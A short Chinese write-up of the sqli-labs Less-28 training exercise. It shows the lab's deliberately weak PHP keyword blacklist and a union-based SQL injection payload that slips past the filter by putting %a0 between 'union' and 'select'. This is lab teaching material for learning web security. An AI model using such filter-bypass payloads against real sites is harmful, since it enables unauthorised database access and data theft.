Sqli-labs Less-28 绕过unions+select过滤 union注入

关键代码

function blacklist($id)
{
$id= preg_replace('/[/*]/',"", $id);                //strip out /*
$id= preg_replace('/[--]/',"", $id);                //Strip out --.
$id= preg_replace('/[#]/',"", $id);                    //Strip out #.
$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);                    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
$id= preg_replace('/unions+select/i',"", $id);        //Strip out UNION & SELECT.
return $id;
}

$id=$_GET['id'];
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
//print_r(mysql_error());

正则表达式'/unions+select/i'中,s表示空格,+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小写。

所以我们可以将union 和 select中间的空格使用%a替换,我们直接给出一个payload:

http://127.0.0.1/sql/Less-28/?id=100')union%a0select%a01,database(),3||('1

原文地址:https://www.cnblogs.com/zhengna/p/12655523.html